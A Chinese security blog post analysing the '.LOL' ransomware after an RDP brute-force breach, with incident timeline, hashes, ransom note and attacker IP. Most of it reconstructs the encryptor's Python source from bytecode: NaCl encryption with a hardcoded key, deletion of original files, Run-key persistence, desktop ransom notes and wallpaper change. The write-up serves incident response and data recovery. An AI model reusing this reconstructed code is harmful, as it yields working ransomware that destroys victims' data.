【软件逆向-【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!】此文章归类为:软件逆向。
国庆前夕,我们接到来自北京某客户的紧急求助,称其公司超过10台设备遭遇勒索病毒攻击,导致业务全面瘫痪,亟需协助。接到请求后,Solar安全团队立即赶赴现场,协助客户进行安全断网并备份关键数据,以防病毒进一步扩散。
在排查过程中,我们发现客户的安全设备成功检测并隔离了该加密器。通过提取隔离区文件,我们成功获取了加密器的样本。客户出于数据恢复的迫切需求,与黑客进行了初步谈判,勒索金额为每台1200美元(约合人民币8510元),总计18000美元(约合人民币127740元)。然而,我们建议客户优先尝试技术手段进行恢复,因为部分勒索组织可能在收到赎金后并不提供解密工具,甚至会实施二次勒索。详见002.【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析。
通过我们的分析,团队成功破解了该勒索病毒,顺利恢复了客户的所有数据,恢复率达到100%。本篇文章将详细分析该勒索病毒的技术特征,下一篇将分享我们的破解思路和工具。
由于服务器的IP映射至互联网,且远程桌面功能未设置访问限制,导致3389端口对外暴露。黑客在发现该IP和开放的3389端口后,自2024年9月7日7:15:10起便频繁利用大量恶意IP进行RDP爆破攻击,疑似通过跳板机或代理IP实施攻击,后续咨询用户得知服务器RDP密码为弱口令。
攻击者首次爆破时间
攻击者恶意IP信息
2024年9月21日0:55,黑客利用伊朗恶意IP 46.164.83.19成功登陆服务器,并通过该跳板机使用Netscan和Nbtscan等工具收集信息,随后利用NLBrute进行RDP用户名和密码的暴力破解,扩大了感染范围。至1:57,黑客开始执行加密操作,最终共导致15台机器被感染,业务瘫痪、无法正常运行。
攻击者成功登系统
攻击者恶意IP信息
文件名: | Crypt.exe |
---|---|
编译器: | Microsoft Visual C/C++(19.36.33813)[C] |
大小: | 19.81 MB |
操作系统: | Windows(Vista)[AMD64, 64位, Console] |
类型: | EXEC |
字节序: | LE |
MD5: | ddef08ea0d2d4d3fcb1833864908de42 |
SHA1: | 300566f50769baab1db9abc1b7bf2fc297489b67 |
SHA256: | 4998131d9da04240464355e09181f10dc42234fc08f58d710b4d821ea89fc635 |
您的文件已被锁定。 您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。 获取解密工具和解密过程的详细信息。 案例编号:MJ-CHNull003 电子邮件:elenaelerhsteink08673@gmail.com Your Files Have Been Locked. Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email. To obtain the decryption tool and detailed instructions: Case Number: MJ-CHNull003 Contact Email: elenaelerhsteink08673@gmail.com
病毒家族 | lol |
---|---|
首次出现时间/捕获分析时间 | 2024/09/29 || 2024/9/29 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .lol |
勒索信文件名 | Ransom_Note.txt |
有无免费解密器? | 无 |
联系邮箱 | elenaelerhsteink08673@gmail.com |
检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
sierting.txt
加密文件名 = 原始文件名+lol ,例如:sierting.txt.lol
文件加密使用了nacl加密算法。
1 2 3 4 5 6 7 8 9 10 11 12 13 | 您的文件已被锁定。 您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。 获取解密工具和解密过程的详细信息。 案例编号:MJ-CHNull003 电子邮件:elenaelerhsteink08673@gmail.com Your Files Have Been Locked. Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email. To obtain the decryption tool and detailed instructions: Case Number: MJ-CHNull003 Contact Email: elenaelerhsteink08673@gmail.com |
通过使用ida进行分析可以发现他是由python打包而成的exe
因此使用pyinstxtractor 与pycdc可以获取源码
将勒索邮箱写入壁纸,然后更换壁纸
img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',)) d = ImageDraw.Draw(img) font = ImageFont.load_default() text = f'''Your files are locked! Contact: {email}''' d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font')) img.save('background_image.jpg') ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
使用写入注册表的形式实现权限维持,由于这是python打包而成的exe,在获取路径的时候会获取为python文件的路径,但是这个路径在程序运行结束之后会自行删除,因此这是一个无效的权限维持手段
1 2 3 4 | def add_to_startup(script_path): key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' , 0, KEY_SET_VALUE) SetValueEx(key, 'MyScript' , 0, REG_SZ, script_path) CloseKey(key) |
写入勒索信
def create_ransom_note(): Unsupported opcode: RERAISE message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n' user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa' Box = nacl.secret.SecretBox(Key)
初始化加密路径,对于c盘只加密C:\Users路径下的文件
PathList = [ 'C:\\Users\\\\'] for Latter in range(97, 123): PathList.append(f'''{chr(Latter)}:\\''') PathList.remove('c:\\') print(f'''Valid user directories: {PathList}''')
判断是否为管理员权限
1 | AdminRight = ctypes.windll.shell32.IsUserAnAdmin() |
如果不是,弹出窗口要求以管理员权限运行
1 2 3 4 | def CallErrorBox(): WINDOW = tkinter.Tk() WINDOW.withdraw() messagebox.showerror( 'Error' , 'Try To Re-Run As Administrator' ) |
对路径进行遍历,并排除部分文件,然后调用nacl算法进行加密
def encrypt_files_in_path(path): for root, _, files in os.walk(path): for name in files: file_path = os.path.join(root, name) file_size = os.stat(file_path).st_size if None((lambda .0 = None: for x in .0:x in file_path)(('$Recycle.Bin', 'Windows', 'AppData', 'System32'))): continue if None((lambda .0 = None: for ext in .0:file_path.endswith(ext))(('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt'))): continue if file_size >= FILE_SIZE_THRESHOLD: yield file_path continue print(f'''Encrypting small file {file_path}''') D_E_ncrypt(file_path, Box).FileE()
通过上文我们得到的pyc文件,我们可以通过pycdas工具将pyc反编译为python字节码
fileE函数对应的字节码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | 0 LOAD_GLOBAL 0: print 2 LOAD_CONST 1: 'FILE -> ' 4 LOAD_FAST 0: self 6 LOAD_ATTR 1: Target 8 FORMAT_VALUE 0 (FVC_NONE) 10 BUILD_STRING 2 12 CALL_FUNCTION 1 14 POP_TOP 16 SETUP_FINALLY 192 (to 210) 18 LOAD_GLOBAL 2: os 20 LOAD_ATTR 3: path 22 LOAD_METHOD 4: isdir 24 LOAD_FAST 0: self 26 LOAD_ATTR 1: Target 28 CALL_METHOD 1 30 LOAD_CONST 2: True 32 COMPARE_OP 3 (!=) 34 POP_JUMP_IF_FALSE 206 36 LOAD_GLOBAL 5: open 38 LOAD_FAST 0: self 40 LOAD_ATTR 1: Target 42 LOAD_CONST 3: 'rb' 44 CALL_FUNCTION 2 46 SETUP_WITH 24 (to 72) 48 STORE_FAST 1: File 50 LOAD_FAST 1: File 52 LOAD_METHOD 6: read 54 CALL_METHOD 0 56 STORE_FAST 2: Date 58 POP_BLOCK 60 LOAD_CONST 0: None 62 DUP_TOP 64 DUP_TOP 66 CALL_FUNCTION 3 68 POP_TOP 70 JUMP_FORWARD 16 (to 88) 72 WITH_EXCEPT_START 74 POP_JUMP_IF_TRUE 78 76 RERAISE 78 POP_TOP 80 POP_TOP 82 POP_TOP 84 POP_EXCEPT 86 POP_TOP 88 LOAD_FAST 0: self 90 LOAD_ATTR 1: Target 92 STORE_FAST 3: FileName 94 LOAD_FAST 0: self 96 LOAD_ATTR 7: BoxM 98 LOAD_METHOD 8: encrypt 100 LOAD_FAST 2: Date 102 CALL_METHOD 1 104 STORE_FAST 4: Encrypted 106 LOAD_FAST 0: self 108 LOAD_ATTR 1: Target 110 LOAD_GLOBAL 9: sys 112 LOAD_ATTR 10: argv 114 LOAD_CONST 4: 0 116 BINARY_SUBSCR 118 COMPARE_OP 3 (!=) 120 POP_JUMP_IF_FALSE 206 122 LOAD_GLOBAL 5: open 124 LOAD_FAST 3: FileName 126 FORMAT_VALUE 0 (FVC_NONE) 128 LOAD_CONST 5: '.lol' 130 BUILD_STRING 2 132 LOAD_CONST 6: 'wb' 134 CALL_FUNCTION 2 136 SETUP_WITH 40 (to 178) 138 STORE_FAST 1: File 140 LOAD_GLOBAL 0: print 142 LOAD_CONST 1: 'FILE -> ' 144 LOAD_FAST 3: FileName 146 FORMAT_VALUE 0 (FVC_NONE) 148 BUILD_STRING 2 150 CALL_FUNCTION 1 152 POP_TOP 154 LOAD_FAST 1: File 156 LOAD_METHOD 11: write 158 LOAD_FAST 4: Encrypted 160 CALL_METHOD 1 162 POP_TOP 164 POP_BLOCK 166 LOAD_CONST 0: None 168 DUP_TOP 170 DUP_TOP 172 CALL_FUNCTION 3 174 POP_TOP 176 JUMP_FORWARD 16 (to 194) 178 WITH_EXCEPT_START 180 POP_JUMP_IF_TRUE 184 182 RERAISE 184 POP_TOP 186 POP_TOP 188 POP_TOP 190 POP_EXCEPT 192 POP_TOP 194 LOAD_GLOBAL 2: os 196 LOAD_METHOD 12: remove 198 LOAD_FAST 0: self 200 LOAD_ATTR 1: Target 202 CALL_METHOD 1 204 POP_TOP 206 POP_BLOCK 208 JUMP_FORWARD 52 (to 262) 210 DUP_TOP 212 LOAD_GLOBAL 13: Exception 214 JUMP_IF_NOT_EXC_MATCH 260 218 POP_TOP 220 STORE_FAST 5: e 222 POP_TOP 224 SETUP_FINALLY 26 (to 252) 226 LOAD_GLOBAL 0: print 228 LOAD_CONST 7: 'Error -> ' 230 LOAD_FAST 5: e 232 FORMAT_VALUE 0 (FVC_NONE) 234 BUILD_STRING 2 236 CALL_FUNCTION 1 238 POP_TOP 240 POP_BLOCK 242 POP_EXCEPT 244 LOAD_CONST 0: None 246 STORE_FAST 5: e 248 DELETE_FAST 5: e 250 JUMP_FORWARD 10 (to 262) 252 LOAD_CONST 0: None 254 STORE_FAST 5: e 256 DELETE_FAST 5: e 258 RERAISE 260 RERAISE 262 LOAD_CONST 0: None 264 RETURN_VALUE |
我们只反编译出了该字节码的前几行
def FileE(self): Unsupported opcode: RERAISE print(f'''FILE -> {self.Target}''') # WARNING: Decompyle incomplete
对应字节码中的
0 LOAD_GLOBAL 0: print //加载函数print 2 LOAD_CONST 1: 'FILE -> ' //加载常量 4 LOAD_FAST 0: self //加载局部变量 6 LOAD_ATTR 1: Target //加载对象属性并放置于栈顶 8 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串 10 BUILD_STRING 2 //拼接字符串 12 CALL_FUNCTION 1 //调用函数print 14 POP_TOP //弹出栈顶元素
设置了一个异常处理,从16行到84行的 字节码都处于try,catch中
16 SETUP_FINALLY 192 (to 210) //设置异常处理,如果触发异常则跳转到210行 84 POP_EXCEPT //结束异常处理
异常处理部分
210 DUP_TOP //复制栈顶的元素并将其放回栈顶 212 LOAD_GLOBAL 13: Exception 214 JUMP_IF_NOT_EXC_MATCH 260 //判断是否匹配异常,如果不匹配就调转到260行 结束函数的位置 218 POP_TOP 220 STORE_FAST 5: e //保存变量 222 POP_TOP 224 SETUP_FINALLY 26 (to 252) //再次设置异常处理 226 LOAD_GLOBAL 0: print 228 LOAD_CONST 7: 'Error -> ' 230 LOAD_FAST 5: e 232 FORMAT_VALUE 0 (FVC_NONE) 234 BUILD_STRING 2 236 CALL_FUNCTION 1 //调用print 238 POP_TOP 240 POP_BLOCK 242 POP_EXCEPT 244 LOAD_CONST 0: None 246 STORE_FAST 5: e 248 DELETE_FAST 5: e 250 JUMP_FORWARD 10 (to 262) 252 LOAD_CONST 0: None 254 STORE_FAST 5: e 256 DELETE_FAST 5: e 258 RERAISE 260 RERAISE 262 LOAD_CONST 0: None 264 RETURN_VALUE
因此异常处理的代码如下
try: #加密部分 except Exception as e: try: print('Error -> ', e) except : return 0
接着翻译加密部分代码
18 LOAD_GLOBAL 2: os 20 LOAD_ATTR 3: path 22 LOAD_METHOD 4: isdir 24 LOAD_FAST 0: self 26 LOAD_ATTR 1: Target 28 CALL_METHOD 1 //os.path.isdir(self.Target) 30 LOAD_CONST 2: True 32 COMPARE_OP 3 (!=) 34 POP_JUMP_IF_FALSE 206 //判断结果是否为true 不为true则跳转到206 36 LOAD_GLOBAL 5: open 38 LOAD_FAST 0: self 40 LOAD_ATTR 1: Target 42 LOAD_CONST 3: 'rb' 44 CALL_FUNCTION 2 46 SETUP_WITH 24 (to 72)//with open(self.Target,"rb") 48 STORE_FAST 1: File //保存变量为file 50 LOAD_FAST 1: File 52 LOAD_METHOD 6: read 54 CALL_METHOD 0 56 STORE_FAST 2: Date//Date = File.read() 58 POP_BLOCK 60 LOAD_CONST 0: None 62 DUP_TOP 64 DUP_TOP 66 CALL_FUNCTION 3 68 POP_TOP 70 JUMP_FORWARD 16 (to 88) 无条件跳转
其中206处的字节如下
1 2 3 4 5 | 206 POP_BLOCK 208 JUMP_FORWARD 52 (to 262) 262 LOAD_CONST 0: None 264 RETURN_VALUE //return 0 |
因此可以翻译成以下代码
try: if os.path.isdir(self.Target) !=true: with open(self.Target,"rb") as File: Date = File.read() else: return 0 except Exception as e: try: print('Error -> ', e) except: return 0 88 LOAD_FAST 0: self 90 LOAD_ATTR 1: Target 92 STORE_FAST 3: FileName 94 LOAD_FAST 0: self 96 LOAD_ATTR 7: BoxM 98 LOAD_METHOD 8: encrypt 100 LOAD_FAST 2: Date 102 CALL_METHOD 1 104 STORE_FAST 4: Encrypted
将上面的翻译成代码就是
Filename = self.Target Encrypted = self.BoxM.encrypt(Date) 106 LOAD_FAST 0: self 108 LOAD_ATTR 1: Target 110 LOAD_GLOBAL 9: sys 112 LOAD_ATTR 10: argv 114 LOAD_CONST 4: 0 116 BINARY_SUBSCR //从元组或者字典中获取元素 这里指获取sys.argv[0] 118 COMPARE_OP 3 (!=) 120 POP_JUMP_IF_FALSE 206 122 LOAD_GLOBAL 5: open 124 LOAD_FAST 3: FileName 126 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串 128 LOAD_CONST 5: '.lol' 130 BUILD_STRING 2 132 LOAD_CONST 6: 'wb' 134 CALL_FUNCTION 2 136 SETUP_WITH 40 (to 178) 138 STORE_FAST 1: File 140 LOAD_GLOBAL 0: print 142 LOAD_CONST 1: 'FILE -> ' 144 LOAD_FAST 3: FileName 146 FORMAT_VALUE 0 (FVC_NONE) 148 BUILD_STRING 2 150 CALL_FUNCTION 1 152 POP_TOP 154 LOAD_FAST 1: File 156 LOAD_METHOD 11: write 158 LOAD_FAST 4: Encrypted 160 CALL_METHOD 1
翻译后的代码为
if self.Target != sys.argv[0]: with open(Filename+'.lol','wb') as File: print(f'''FILE -> {Filename}''') File.write(Encrypted) else: return 0 194 LOAD_GLOBAL 2: os 196 LOAD_METHOD 12: remove 198 LOAD_FAST 0: self 200 LOAD_ATTR 1: Target 202 CALL_METHOD 1 204 POP_TOP 206 POP_BLOCK 208 JUMP_FORWARD 52 (to 262) os.remove(Self.Target) return 0
因此 FileE函数大致代码为
def FileE(self): print(f'''FILE -> {self.Target}''') try: if os.path.isdir(self.Target) !=true: with open(self.Target,"rb") as File: Date = File.read() else: return 0 except Exception as e: try: print('Error -> ', e) except: return 0 Filename = self.Target Encrypted = self.BoxM.encrypt(Date) if self.Target != sys.argv[0]: with open(Filename+'.lol','wb') as File: print(f'''FILE -> {Filename}''') File.write(Encrypted) else : return 0 os.remove(Self.Target)
此函数被正常反编译出来,这里就不再赘述
def SendKey(self): requests.get(self.Url)
此函数被正常反编译出来,这里就不再赘述
def __init__(self, Target, BoxM, Url = (0, 0, 0)): self.Target = Target self.BoxM = BoxM self.Url = Url
此函数被正常反编译出来,这里就不再赘述
def create_image_with_email(email): img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',)) d = ImageDraw.Draw(img) font = ImageFont.load_default() text = f'''Your files are locked! Contact: {email}''' d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font')) img.save('background_image.jpg') ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
此函数被正常反编译出来,这里就不再赘述
def add_to_startup(script_path): key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE) SetValueEx(key, 'MyScript', 0, REG_SZ, script_path) CloseKey(key)
通过工具,我们能反编译出他的前几行代码,但是后面的代码都不能识别,因此进行手动还原代码
def create_ransom_note(): Unsupported opcode: RERAISE message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n' user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users')) # WARNING: Decompyle incomplete
首先来处理第一段字节码,这里面调用了一个列表推导式
0 LOAD_CONST 1: '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n' 2 STORE_FAST 0: message 4 LOAD_CONST 2: <CODE> <listcomp> 6 LOAD_CONST 3: 'create_ransom_note.<locals>.<listcomp>' 8 MAKE_FUNCTION 0 //调用一个自写的列表推导式 10 LOAD_GLOBAL 0: os 12 LOAD_METHOD 1: listdir 14 LOAD_CONST 4: 'C:\\Users' //输入的参数 16 CALL_METHOD 1 18 GET_ITER 20 CALL_FUNCTION 1 22 STORE_FAST 1: user_profiles
列表推导式的字节码如下
0 BUILD_LIST 0 2 LOAD_FAST 0: .0 //输入的参数 这里指的是os.listdir('C:\\Users') 4 FOR_ITER 40 (to 46) //循环 6 STORE_FAST 1: user 8 LOAD_GLOBAL 0: os 10 LOAD_ATTR 1: path 12 LOAD_METHOD 2: isdir 14 LOAD_GLOBAL 0: os 16 LOAD_ATTR 1: path 18 LOAD_METHOD 3: join 20 LOAD_CONST 0: 'C:\\Users' 22 LOAD_FAST 1: user 24 CALL_METHOD 2 // os.path.join('C:\\Users', user) 26 CALL_METHOD 1 //os.path.isdir(os.path.join('C:\\Users', user)) 28 POP_JUMP_IF_FALSE 4 //如果为flase 跳到4 重新开始迭代 30 LOAD_GLOBAL 0: os 32 LOAD_ATTR 1: path 34 LOAD_METHOD 3: join 36 LOAD_CONST 0: 'C:\\Users' 38 LOAD_FAST 1: user 40 CALL_METHOD 2 // os.path.join('C:\\Users', user) 42 LIST_APPEND 2 //添加到数组中 44 JUMP_ABSOLUTE 4 46 RETURN_VALUE
还原后的代码如下
[os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))]
然后是第二段字节码
24 LOAD_FAST 1: user_profiles 26 GET_ITER 28 FOR_ITER 178 (to 208)//对user_profiles进行迭代 30 STORE_FAST 2: user_profile 32 LOAD_GLOBAL 0: os 34 LOAD_ATTR 2: path 36 LOAD_METHOD 3: join 38 LOAD_FAST 2: user_profile 40 LOAD_CONST 5: 'Desktop' 42 CALL_METHOD 2 44 STORE_FAST 3: desktop_path
最后得到的代码如下
for user_profile in user_profiles: desktop_path= os.path.join(user_profile,'Desktop')
然后是一段判断
46 LOAD_GLOBAL 0: os 48 LOAD_ATTR 2: path 50 LOAD_METHOD 4: exists 52 LOAD_FAST 3: desktop_path 54 CALL_METHOD 1 56 POP_JUMP_IF_FALSE 28 //如果值为false则跳转到循环的开头,及contiune操作
代码如下
ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
接下来是一段异常处理
58 SETUP_FINALLY 90 (to 150) //设置异常处理 60 LOAD_GLOBAL 0: os 62 LOAD_ATTR 2: path 64 LOAD_METHOD 3: join 66 LOAD_FAST 3: desktop_path 68 LOAD_CONST 6: 'Ransom_Note.txt' 70 CALL_METHOD 2 //os.path.join(desktop_path,'Ransom_Note.txt') 72 STORE_FAST 4: ransom_note_path 74 LOAD_GLOBAL 5: open 76 LOAD_FAST 4: ransom_note_path 78 LOAD_CONST 7: 'w' 80 LOAD_CONST 8: 'utf-8' 82 LOAD_CONST 9: ('encoding',) 84 CALL_FUNCTION_KW 3 86 SETUP_WITH 26 (to 114) //with open(ransom_note_path, 'w', encoding='utf-8') 88 STORE_FAST 5: ransom_note_file // as ransom_note_file: 90 LOAD_FAST 5: ransom_note_file 92 LOAD_METHOD 6: write 94 LOAD_FAST 0: message //ransom_note_file.write(message) 96 CALL_METHOD 1 98 POP_TOP 100 POP_BLOCK 102 LOAD_CONST 0: None 104 DUP_TOP 106 DUP_TOP 108 CALL_FUNCTION 3 110 POP_TOP 112 JUMP_FORWARD 16 (to 130) //无条件跳转 114 WITH_EXCEPT_START 116 POP_JUMP_IF_TRUE 120 118 RERAISE 120 POP_TOP 122 POP_TOP 124 POP_TOP 126 POP_EXCEPT 128 POP_TOP 130 LOAD_GLOBAL 7: print 132 LOAD_CONST 10: 'Ransom note placed on ' 134 LOAD_FAST 2: user_profile 136 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串 138 LOAD_CONST 11: "'s desktop." 140 BUILD_STRING 3 142 CALL_FUNCTION 1 //print(f'Ransom note placed on {user_profile}\'s desktop.') 144 POP_TOP 146 POP_BLOCK 148 JUMP_ABSOLUTE 28 150 DUP_TOP 152 LOAD_GLOBAL 8: Exception //加载异常 154 JUMP_IF_NOT_EXC_MATCH 204 156 POP_TOP 158 STORE_FAST 6: e 160 POP_TOP 162 SETUP_FINALLY 32 (to 196) 164 LOAD_GLOBAL 7: print 166 LOAD_CONST 12: 'Failed to create ransom note on ' 168 LOAD_FAST 2: user_profile 170 FORMAT_VALUE 0 (FVC_NONE) 172 LOAD_CONST 13: "'s desktop: " 174 LOAD_FAST 6: e 176 FORMAT_VALUE 0 (FVC_NONE) 178 BUILD_STRING 4 180 CALL_FUNCTION 1 182 POP_TOP 184 POP_BLOCK 186 POP_EXCEPT 188 LOAD_CONST 0: None 190 STORE_FAST 6: e 92 DELETE_FAST 6: e 194 JUMP_ABSOLUTE 28 196 LOAD_CONST 0: None 198 STORE_FAST 6: e 200 DELETE_FAST 6: e 202 RERAISE 204 RERAISE 206 JUMP_ABSOLUTE 28 208 LOAD_CONST 0: None 210 RETURN_VALUE
最后还原的代码如下
try: ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt') with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file: ransom_note_file.write(message) except Exception as e: print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}') continue print(f'Ransom note placed on {user_profile}\'s desktop.')
因此这个函数的大致代码为,用于创建勒索信
def create_ransom_note(): message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n' user_profiles = [os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))] for user_profile in user_profiles: desktop_path= os.path.join(user_profile,'Desktop') if not os.path.exists(desktop_path): continue try: ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt') with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file: ransom_note_file.write(message) except Exception as e: print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}') continue print(f'Ransom note placed on {user_profile}\'s desktop.')
这个函数也只反编译了一部分出来,因此我们也需要对他进行代码的还原。
首先是一个输出
0 LOAD_GLOBAL 0: print 2 LOAD_CONST 1: "It's Working" 4 CALL_FUNCTION 1 print("It's Working")
然后使用了一个线程池进行并发操作
8 LOAD_GLOBAL 1: ThreadPoolExecutor 10 LOAD_GLOBAL 2: MAX_THREAD_WORKERS 12 LOAD_CONST 2: ('max_workers',) 14 CALL_FUNCTION_KW 1 16 SETUP_WITH 140 (to 158) 18 STORE_DEREF 0: executor 20 LOAD_CLOSURE 0: executor// with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor: 22 BUILD_TUPLE 1 24 LOAD_CONST 3: <CODE> <dictcomp> //调用自写的推导式 26 LOAD_CONST 4: 'OneStart.<locals>.<dictcomp>' 28 MAKE_FUNCTION 8 30 LOAD_GLOBAL 3: PathList 32 GET_ITER 34 CALL_FUNCTION 1 //将PathList数组当成参数压入栈 36 STORE_FAST 0: future_to_file
还原的代码如下
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor: future_to_file = { // 调用推导式 }
推导式的字节码如下
0 BUILD_MAP 0 2 LOAD_FAST 0: .0 //加载参数 4 FOR_ITER 38 (to 44) 6 STORE_FAST 1: path //for path in pathlist 8 LOAD_GLOBAL 0: encrypt_files_in_path 10 LOAD_FAST 1: path 12 CALL_FUNCTION 1 //encrypt_files_in_path(path) 14 GET_ITER 16 FOR_ITER 24 (to 42) 18 STORE_FAST 2: file_path // for file_path in encrypt_files_in_path(path) 20 LOAD_DEREF 0: executor 22 LOAD_METHOD 1: submit 24 LOAD_GLOBAL 2: D_E_ncrypt 26 LOAD_FAST 2: file_path 28 LOAD_GLOBAL 3: Box 30 CALL_FUNCTION 2 //D_E_ncrypt(file_path, Box).FileE 32 LOAD_ATTR 4: FileE 34 CALL_METHOD 1 // executor.submit 36 LOAD_FAST 2: file_path 38 MAP_ADD 3 40 JUMP_ABSOLUTE 16 42 JUMP_ABSOLUTE 4 44 RETURN_VALUE
逻辑大概如下
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor: future_to_file = { file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE) # 提交 FileE 方法 for path in PathList for file_path in encrypt_files_in_path(path) }
接下来对多线程操作进行判断
38 LOAD_GLOBAL 4: as_completed 40 LOAD_FAST 0: future_to_file 42 CALL_FUNCTION 1 44 GET_ITER 46 FOR_ITER 96 (to 144) 48 STORE_FAST 1: future //for future in as_completed(future_to_file): 50 LOAD_FAST 0: future_to_file 52 LOAD_FAST 1: future 54 BINARY_SUBSCR 56 STORE_FAST 2: file_path 58 SETUP_FINALLY 26 (to 86)//设置异常处理 60 LOAD_FAST 1: future 62 LOAD_METHOD 5: result 64 CALL_METHOD 0 //future.result() 66 POP_TOP 68 LOAD_GLOBAL 0: print 70 LOAD_CONST 5: 'Successfully encrypted ' 72 LOAD_FAST 2: file_path 74 FORMAT_VALUE 0 (FVC_NONE) //print(f'Successfully encrypted {file_path}') 76 BUILD_STRING 2 78 CALL_FUNCTION 1 80 POP_TOP 82 POP_BLOCK 84 JUMP_ABSOLUTE 46 86 DUP_TOP 88 LOAD_GLOBAL 6: Exception 90 JUMP_IF_NOT_EXC_MATCH 140 92 POP_TOP 